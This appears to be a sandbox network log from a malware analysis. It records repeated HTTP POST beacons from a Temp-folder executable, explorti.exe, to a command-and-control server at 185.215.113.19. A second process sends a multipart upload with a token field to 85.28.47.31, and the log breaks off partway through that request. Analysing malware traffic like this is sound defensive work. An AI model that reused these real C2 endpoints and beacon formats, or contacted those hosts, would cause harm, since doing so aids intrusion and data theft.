Jul 26, 2024 08:57:37.699615002 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:37.950329065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49718	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:38.203372955 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:38.988970041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:39.093091965 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:39.361370087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49720	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:39.961752892 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:40.775021076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:40.886270046 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:41.136317968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49733	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:41.360500097 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:42.100406885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:42.268532038 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:42.518145084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49737	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:42.889873028 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:44.491559029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:44.492460966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:44.493587017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:44.606874943 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:44.857162952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49745	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:45.010204077 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:45.749615908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:45.770123005 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:46.014153957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49747	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:46.295629978 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:47.042805910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:47.058512926 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:47.322609901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49750	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:47.537750959 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:48.313841105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:48.314573050 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:48.566035032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49751	34.107.221.82	80	1180	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:48.009874105 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 08:57:48.454760075 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 44929 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 08:57:58.460709095 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 08:57:59.577869892 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 08:57:59.681224108 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 44940 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49752	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:48.826338053 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:49.558489084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:49.656531096 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:49.906090975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49753	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:50.015017986 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:50.779817104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:50.780816078 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:57:51.116996050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49755	34.107.221.82	80	1180	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:50.776621103 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 08:57:51.282711983 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 57910 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 08:57:51.494487047 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 57910 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 08:58:00.007751942 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 08:58:00.114551067 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 57919 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49756	85.28.47.31	80	8108	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:50.864366055 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIE Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 